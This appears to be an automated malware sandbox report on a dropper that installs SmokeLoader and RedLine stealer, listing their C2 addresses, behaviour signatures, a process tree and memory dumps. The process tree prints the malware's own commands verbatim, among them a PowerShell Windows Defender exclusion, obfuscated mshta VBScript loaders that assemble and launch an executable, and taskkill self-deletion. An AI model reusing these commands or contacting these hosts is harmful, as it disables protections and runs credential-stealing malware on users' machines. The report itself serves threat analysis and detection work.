Overview

overview

10

Static

static

01a53007f9...68.exe

windows7_x64

10

01a53007f9...68.exe

windows10_x64

10

022e3c30a1...66.exe

windows7_x64

10

022e3c30a1...66.exe

windows10_x64

10

02ca2b5bb7...35.exe

windows7_x64

10

02ca2b5bb7...35.exe

windows10_x64

10

0d69cafe70...cd.exe

windows7_x64

10

0d69cafe70...cd.exe

windows10_x64

10

0df647f0a2...bc.exe

windows7_x64

10

0df647f0a2...bc.exe

windows10_x64

10

1df367eead...2c.exe

windows7_x64

10

1df367eead...2c.exe

windows10_x64

10

1e083736ae...33.exe

windows7_x64

10

1e083736ae...33.exe

windows10_x64

10

1e662d9025...7d.exe

windows7_x64

10

1e662d9025...7d.exe

windows10_x64

10

2010009ff5...59.exe

windows7_x64

10

2010009ff5...59.exe

windows10_x64

10

243379992d...93.exe

windows7_x64

10

243379992d...93.exe

windows10_x64

10

2d63a14e4a...1a.exe

windows7_x64

10

2d63a14e4a...1a.exe

windows10_x64

10

30e6815ae0...51.exe

windows7_x64

1

30e6815ae0...51.exe

windows10_x64

1

364d3b0e94...fa.exe

windows7_x64

10

364d3b0e94...fa.exe

windows10_x64

10

3a4e2dfbd7...00.exe

windows7_x64

10

3a4e2dfbd7...00.exe

windows10_x64

10

4a4a606501...75.exe

windows7_x64

10

4a4a606501...75.exe

windows10_x64

10

4d89b00768...c0.exe

windows7_x64

10

4d89b00768...c0.exe

windows10_x64

10

Resubmissions

10-11-2021 14:52

211110-r84p8aedej 10

09-11-2021 13:19

211109-qkrv3sfcg4 10

Analysis

  • max time kernel
    158s
  • max time network
    175s
  • platform
    windows10_x64
  • resource
    win10-en-20211014
  • submitted
    09-11-2021 13:19

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    3a4e2dfbd7943c7200d7c5ea70c2b0117408d3c1ac3cac7b757d8e05dcc9ff00.exe

  • Size

    3.4MB

  • MD5

    b1e9f93ed954f84cc0144c40c75f178f

  • SHA1

    a11c3dc288597c4139fbcab21474dd69931b8668

  • SHA256

    3a4e2dfbd7943c7200d7c5ea70c2b0117408d3c1ac3cac7b757d8e05dcc9ff00

  • SHA512

    6a3b1f513a5cdabdc6dae142fa9a61f683a2e514e0f4f1a5b20902eeb2d0918f636b600529ebf20020835d8b2b987d4123c94ee4755df1bb31274a5a4ee16da2

Score
10/10
redlinesmokeloadersheaspackv2backdoorevasioninfostealerspywarestealertrojan

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://bostoc.com/upload/

http://qianyoupj.cn/upload/

http://sleoppen.com/upload/

http://stempelbeton.at/upload/
rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

she

C2

135.181.129.119:4805

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
    evasiontrojan
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 6 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

    aspackv2
  • Downloads MZ/PE file
  • Executes dropped EXE 20 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 11 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 6 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 19 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 2 IoCs
    evasion
  • Modifies data under HKEY_USERS 16 IoCs
  • Modifies registry class 20 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
    1⤵
    • Modifies registry class
    PID:1124
  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s SENS
    1⤵
      PID:1452
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
      1⤵
        PID:2648
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s WpnService
        1⤵
          PID:2932
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
          1⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2912
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s BITS
          1⤵
          • Suspicious use of SetThreadContext
          • Modifies registry class
          • Suspicious use of AdjustPrivilegeToken
          PID:3632
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k SystemNetworkService
            2⤵
            • Drops file in System32 directory
            • Checks processor information in registry
            • Modifies data under HKEY_USERS
            • Modifies registry class
            • Suspicious use of AdjustPrivilegeToken
            PID:2084
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s Browser
          1⤵
            PID:2816
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
            1⤵
              PID:2624
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
              1⤵
                PID:1932
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s Themes
                1⤵
                  PID:1268
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                  1⤵
                    PID:1260
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                    1⤵
                    • Drops file in System32 directory
                    PID:1060
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                    1⤵
                      PID:456
                    • C:\Users\Admin\AppData\Local\Temp\3a4e2dfbd7943c7200d7c5ea70c2b0117408d3c1ac3cac7b757d8e05dcc9ff00.exe
                      "C:\Users\Admin\AppData\Local\Temp\3a4e2dfbd7943c7200d7c5ea70c2b0117408d3c1ac3cac7b757d8e05dcc9ff00.exe"
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2216
                      • C:\Users\Admin\AppData\Local\Temp\7zS8A8AE166\setup_install.exe
                        "C:\Users\Admin\AppData\Local\Temp\7zS8A8AE166\setup_install.exe"
                        2⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Suspicious use of WriteProcessMemory
                        PID:772
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:376
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                            4⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1728
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c Wed12d3370475.exe
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:916
                          • C:\Users\Admin\AppData\Local\Temp\7zS8A8AE166\Wed12d3370475.exe
                            Wed12d3370475.exe
                            4⤵
                            • Executes dropped EXE
                            • Checks computer location settings
                            • Suspicious behavior: EnumeratesProcesses
                            PID:1700
                            • C:\Users\Admin\Pictures\Adobe Films\Le3w4nWfrOfVk9aYI0TtpsU6.exe
                              "C:\Users\Admin\Pictures\Adobe Films\Le3w4nWfrOfVk9aYI0TtpsU6.exe"
                              5⤵
                              • Executes dropped EXE
                              PID:2156
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -u -p 1700 -s 2100
                              5⤵
                              • Program crash
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4464
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -u -p 1700 -s 2244
                              5⤵
                              • Program crash
                              PID:4216
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c Wed1209f30d2721b0.exe
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:4052
                          • C:\Users\Admin\AppData\Local\Temp\7zS8A8AE166\Wed1209f30d2721b0.exe
                            Wed1209f30d2721b0.exe
                            4⤵
                            • Executes dropped EXE
                            • Suspicious use of SetThreadContext
                            PID:2552
                            • C:\Users\Admin\AppData\Local\Temp\7zS8A8AE166\Wed1209f30d2721b0.exe
                              C:\Users\Admin\AppData\Local\Temp\7zS8A8AE166\Wed1209f30d2721b0.exe
                              5⤵
                              • Executes dropped EXE
                              PID:4476
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c Wed121d95f16c.exe
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:688
                          • C:\Users\Admin\AppData\Local\Temp\7zS8A8AE166\Wed121d95f16c.exe
                            Wed121d95f16c.exe
                            4⤵
                            • Executes dropped EXE
                            • Suspicious use of SetThreadContext
                            PID:2092
                            • C:\Users\Admin\AppData\Local\Temp\7zS8A8AE166\Wed121d95f16c.exe
                              C:\Users\Admin\AppData\Local\Temp\7zS8A8AE166\Wed121d95f16c.exe
                              5⤵
                              • Executes dropped EXE
                              PID:4504
                            • C:\Users\Admin\AppData\Local\Temp\7zS8A8AE166\Wed121d95f16c.exe
                              C:\Users\Admin\AppData\Local\Temp\7zS8A8AE166\Wed121d95f16c.exe
                              5⤵
                              • Executes dropped EXE
                              PID:4704
                            • C:\Users\Admin\AppData\Local\Temp\7zS8A8AE166\Wed121d95f16c.exe
                              C:\Users\Admin\AppData\Local\Temp\7zS8A8AE166\Wed121d95f16c.exe
                              5⤵
                              • Executes dropped EXE
                              PID:5064
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c Wed12cab21f99.exe
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3512
                          • C:\Users\Admin\AppData\Local\Temp\7zS8A8AE166\Wed12cab21f99.exe
                            Wed12cab21f99.exe
                            4⤵
                            • Executes dropped EXE
                            PID:3204
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c Wed12faf99ad49381f2.exe
                          3⤵
                            PID:1116
                            • C:\Users\Admin\AppData\Local\Temp\7zS8A8AE166\Wed12faf99ad49381f2.exe
                              Wed12faf99ad49381f2.exe
                              4⤵
                              • Executes dropped EXE
                              PID:3948
                              • C:\Windows\SysWOW64\mshta.exe
                                "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ( "CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS8A8AE166\Wed12faf99ad49381f2.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS8A8AE166\Wed12faf99ad49381f2.exe"" ) do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
                                5⤵
                                  PID:1640
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zS8A8AE166\Wed12faf99ad49381f2.exe" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zS8A8AE166\Wed12faf99ad49381f2.exe" ) do taskkill /F -Im "%~NxU"
                                    6⤵
                                      PID:4928
                                      • C:\Users\Admin\AppData\Local\Temp\09xU.exE
                                        09xU.EXE -pPtzyIkqLZoCarb5ew
                                        7⤵
                                        • Executes dropped EXE
                                        PID:5076
                                        • C:\Windows\SysWOW64\mshta.exe
                                          "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ( "CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" ) do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
                                          8⤵
                                            PID:5104
                                            • C:\Windows\SysWOW64\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE" ) do taskkill /F -Im "%~NxU"
                                              9⤵
                                                PID:4584
                                            • C:\Windows\SysWOW64\mshta.exe
                                              "C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " , 0 ,TRuE ) )
                                              8⤵
                                                PID:4132
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I
                                                  9⤵
                                                    PID:5100
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /S /D /c" eCHO "
                                                      10⤵
                                                        PID:4860
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"
                                                        10⤵
                                                          PID:4840
                                                        • C:\Windows\SysWOW64\control.exe
                                                          control .\R6f7sE.I
                                                          10⤵
                                                            PID:2160
                                                            • C:\Windows\SysWOW64\rundll32.exe
                                                              "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\R6f7sE.I
                                                              11⤵
                                                              • Loads dropped DLL
                                                              PID:908
                                                              • C:\Windows\system32\RunDll32.exe
                                                                C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I
                                                                12⤵
                                                                  PID:620
                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                    "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\R6f7sE.I
                                                                    13⤵
                                                                    • Loads dropped DLL
                                                                    PID:2480
                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                        taskkill /F -Im "Wed12faf99ad49381f2.exe"
                                                        7⤵
                                                        • Kills process with taskkill
                                                        PID:4256
                                              • C:\Windows\SysWOW64\cmd.exe
                                                C:\Windows\system32\cmd.exe /c Wed12778a2d20b3a2d.exe
                                                3⤵
                                                • Suspicious use of WriteProcessMemory
                                                PID:980
                                                • C:\Users\Admin\AppData\Local\Temp\7zS8A8AE166\Wed12778a2d20b3a2d.exe
                                                  Wed12778a2d20b3a2d.exe
                                                  4⤵
                                                  • Executes dropped EXE
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:1860
                                              • C:\Windows\SysWOW64\cmd.exe
                                                C:\Windows\system32\cmd.exe /c Wed1204651d54a.exe
                                                3⤵
                                                  PID:2232
                                                  • C:\Users\Admin\AppData\Local\Temp\7zS8A8AE166\Wed1204651d54a.exe
                                                    Wed1204651d54a.exe
                                                    4⤵
                                                    • Executes dropped EXE
                                                    PID:2760
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c Wed12bd576e1bf64afb.exe
                                                  3⤵
                                                    PID:1172
                                                    • C:\Users\Admin\AppData\Local\Temp\7zS8A8AE166\Wed12bd576e1bf64afb.exe
                                                      Wed12bd576e1bf64afb.exe
                                                      4⤵
                                                      • Executes dropped EXE
                                                      • Checks SCSI registry key(s)
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      • Suspicious behavior: MapViewOfSection
                                                      PID:2596
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c Wed12dc2ddf9464a8.exe /mixone
                                                    3⤵
                                                      PID:2360
                                                      • C:\Users\Admin\AppData\Local\Temp\7zS8A8AE166\Wed12dc2ddf9464a8.exe
                                                        Wed12dc2ddf9464a8.exe /mixone
                                                        4⤵
                                                        • Executes dropped EXE
                                                        PID:3564
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 3564 -s 872
                                                          5⤵
                                                          • Drops file in Windows directory
                                                          • Program crash
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:2888
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 3564 -s 884
                                                          5⤵
                                                          • Program crash
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:3872
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 3564 -s 920
                                                          5⤵
                                                          • Program crash
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:436
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 3564 -s 876
                                                          5⤵
                                                          • Program crash
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:2556
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 3564 -s 816
                                                          5⤵
                                                          • Program crash
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:4624
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 3564 -s 928
                                                          5⤵
                                                          • Program crash
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:4700
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\7zS8A8AE166\rnpliRsriGnBV.exe" /mixone
                                                          5⤵
                                                            PID:4752
                                                            • C:\Users\Admin\AppData\Local\Temp\7zS8A8AE166\rnpliRsriGnBV.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\7zS8A8AE166\rnpliRsriGnBV.exe" /mixone
                                                              6⤵
                                                              • Executes dropped EXE
                                                              • Suspicious behavior: GetForegroundWindowSpam
                                                              PID:4908
                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4908 -s 660
                                                                7⤵
                                                                • Program crash
                                                                PID:3304
                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4908 -s 676
                                                                7⤵
                                                                • Program crash
                                                                PID:1380
                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4908 -s 776
                                                                7⤵
                                                                • Program crash
                                                                PID:5012
                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4908 -s 824
                                                                7⤵
                                                                • Program crash
                                                                PID:4592
                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4908 -s 844
                                                                7⤵
                                                                • Program crash
                                                                PID:3776
                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4908 -s 900
                                                                7⤵
                                                                • Program crash
                                                                PID:1380
                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4908 -s 1116
                                                                7⤵
                                                                • Program crash
                                                                PID:4712
                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4908 -s 1292
                                                                7⤵
                                                                • Program crash
                                                                PID:5000
                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4908 -s 1312
                                                                7⤵
                                                                • Program crash
                                                                PID:1104
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c taskkill /im "Wed12dc2ddf9464a8.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS8A8AE166\Wed12dc2ddf9464a8.exe" & exit
                                                            5⤵
                                                              PID:4772
                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                taskkill /im "Wed12dc2ddf9464a8.exe" /f
                                                                6⤵
                                                                • Kills process with taskkill
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:5052
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c Wed122bc04c857303904.exe
                                                          3⤵
                                                          • Suspicious use of WriteProcessMemory
                                                          PID:2400
                                                          • C:\Users\Admin\AppData\Local\Temp\7zS8A8AE166\Wed122bc04c857303904.exe
                                                            Wed122bc04c857303904.exe
                                                            4⤵
                                                            • Executes dropped EXE
                                                            PID:2320
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c Wed12012a8fb2684.exe
                                                          3⤵
                                                          • Suspicious use of WriteProcessMemory
                                                          PID:3488
                                                          • C:\Users\Admin\AppData\Local\Temp\7zS8A8AE166\Wed12012a8fb2684.exe
                                                            Wed12012a8fb2684.exe
                                                            4⤵
                                                            • Executes dropped EXE
                                                            PID:2804
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 2804 -s 1216
                                                              5⤵
                                                              • Suspicious use of NtCreateProcessExOtherParentProcess
                                                              • Program crash
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:3544
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c Wed1288c00b14.exe
                                                          3⤵
                                                            PID:4064
                                                            • C:\Users\Admin\AppData\Local\Temp\7zS8A8AE166\Wed1288c00b14.exe
                                                              Wed1288c00b14.exe
                                                              4⤵
                                                              • Executes dropped EXE
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:3004
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 772 -s 576
                                                            3⤵
                                                            • Program crash
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:1952
                                                      • C:\Windows\system32\rundll32.exe
                                                        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                        1⤵
                                                        • Process spawned unexpected child process
                                                        PID:3536
                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                          2⤵
                                                          • Loads dropped DLL
                                                          • Modifies registry class
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:2736

                                                      Network

                                                      MITRE ATT&CK Enterprise v6

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      • memory/456-265-0x0000026C4DD40000-0x0000026C4DDB2000-memory.dmp

                                                        Filesize

                                                        456KB

                                                        Download

                                                      • memory/456-252-0x0000026C4D4A0000-0x0000026C4D4A2000-memory.dmp

                                                        Filesize

                                                        8KB

                                                        Download

                                                      • memory/456-251-0x0000026C4D4A0000-0x0000026C4D4A2000-memory.dmp

                                                        Filesize

                                                        8KB

                                                        Download

                                                      • memory/456-315-0x0000026C4DE60000-0x0000026C4DED2000-memory.dmp

                                                        Filesize

                                                        456KB

                                                        Download

                                                      • memory/772-141-0x0000000064940000-0x0000000064959000-memory.dmp

                                                        Filesize

                                                        100KB

                                                        Download

                                                      • memory/772-133-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                        Filesize

                                                        572KB

                                                        Download

                                                      • memory/772-138-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                        Filesize

                                                        1.5MB

                                                        Download

                                                      • memory/772-139-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                        Filesize

                                                        1.5MB

                                                        Download

                                                      • memory/772-136-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                        Filesize

                                                        1.5MB

                                                        Download

                                                      • memory/772-140-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                        Filesize

                                                        152KB

                                                        Download

                                                      • memory/772-143-0x0000000064940000-0x0000000064959000-memory.dmp

                                                        Filesize

                                                        100KB

                                                        Download

                                                      • memory/772-134-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                        Filesize

                                                        572KB

                                                        Download

                                                      • memory/772-137-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                        Filesize

                                                        1.5MB

                                                        Download

                                                      • memory/772-135-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                        Filesize

                                                        572KB

                                                        Download

                                                      • memory/772-144-0x0000000064940000-0x0000000064959000-memory.dmp

                                                        Filesize

                                                        100KB

                                                        Download

                                                      • memory/772-142-0x0000000064940000-0x0000000064959000-memory.dmp

                                                        Filesize

                                                        100KB

                                                        Download

                                                      • memory/908-420-0x0000000005290000-0x000000000536F000-memory.dmp

                                                        Filesize

                                                        892KB

                                                        Download

                                                      • memory/908-421-0x0000000005420000-0x00000000054CB000-memory.dmp

                                                        Filesize

                                                        684KB

                                                        Download

                                                      • memory/1060-283-0x0000028402A70000-0x0000028402AE2000-memory.dmp

                                                        Filesize

                                                        456KB

                                                        Download

                                                      • memory/1060-331-0x0000028402AF0000-0x0000028402B62000-memory.dmp

                                                        Filesize

                                                        456KB

                                                        Download

                                                      • memory/1060-268-0x00000284020B0000-0x00000284020B2000-memory.dmp

                                                        Filesize

                                                        8KB

                                                        Download

                                                      • memory/1060-269-0x00000284020B0000-0x00000284020B2000-memory.dmp

                                                        Filesize

                                                        8KB

                                                        Download

                                                      • memory/1124-330-0x000001B6363E0000-0x000001B636452000-memory.dmp

                                                        Filesize

                                                        456KB

                                                        Download

                                                      • memory/1124-282-0x000001B635C40000-0x000001B635CB2000-memory.dmp

                                                        Filesize

                                                        456KB

                                                        Download

                                                      • memory/1124-267-0x000001B635370000-0x000001B635372000-memory.dmp

                                                        Filesize

                                                        8KB

                                                        Download

                                                      • memory/1124-266-0x000001B635370000-0x000001B635372000-memory.dmp

                                                        Filesize

                                                        8KB

                                                        Download

                                                      • memory/1260-277-0x000002D21DEF0000-0x000002D21DEF2000-memory.dmp

                                                        Filesize

                                                        8KB

                                                        Download

                                                      • memory/1260-287-0x000002D21E770000-0x000002D21E7E2000-memory.dmp

                                                        Filesize

                                                        456KB

                                                        Download

                                                      • memory/1260-335-0x000002D21ECB0000-0x000002D21ED22000-memory.dmp

                                                        Filesize

                                                        456KB

                                                        Download

                                                      • memory/1260-276-0x000002D21DEF0000-0x000002D21DEF2000-memory.dmp

                                                        Filesize

                                                        8KB

                                                        Download

                                                      • memory/1268-334-0x000002906C150000-0x000002906C1C2000-memory.dmp

                                                        Filesize

                                                        456KB

                                                        Download

                                                      • memory/1268-274-0x000002906B8A0000-0x000002906B8A2000-memory.dmp

                                                        Filesize

                                                        8KB

                                                        Download

                                                      • memory/1268-275-0x000002906B8A0000-0x000002906B8A2000-memory.dmp

                                                        Filesize

                                                        8KB

                                                        Download

                                                      • memory/1268-286-0x000002906C0D0000-0x000002906C142000-memory.dmp

                                                        Filesize

                                                        456KB

                                                        Download

                                                      • memory/1452-270-0x000001F02C2A0000-0x000001F02C2A2000-memory.dmp

                                                        Filesize

                                                        8KB

                                                        Download

                                                      • memory/1452-271-0x000001F02C2A0000-0x000001F02C2A2000-memory.dmp

                                                        Filesize

                                                        8KB

                                                        Download

                                                      • memory/1452-284-0x000001F02C840000-0x000001F02C8B2000-memory.dmp

                                                        Filesize

                                                        456KB

                                                        Download

                                                      • memory/1452-332-0x000001F02C930000-0x000001F02C9A2000-memory.dmp

                                                        Filesize

                                                        456KB

                                                        Download

                                                      • memory/1700-216-0x00000000053E0000-0x000000000552C000-memory.dmp

                                                        Filesize

                                                        1.3MB

                                                        Download

                                                      • memory/1728-205-0x0000000000770000-0x0000000000771000-memory.dmp

                                                        Filesize

                                                        4KB

                                                        Download

                                                      • memory/1728-231-0x0000000006E00000-0x0000000006E01000-memory.dmp

                                                        Filesize

                                                        4KB

                                                        Download

                                                      • memory/1728-228-0x0000000004240000-0x0000000004241000-memory.dmp

                                                        Filesize

                                                        4KB

                                                        Download

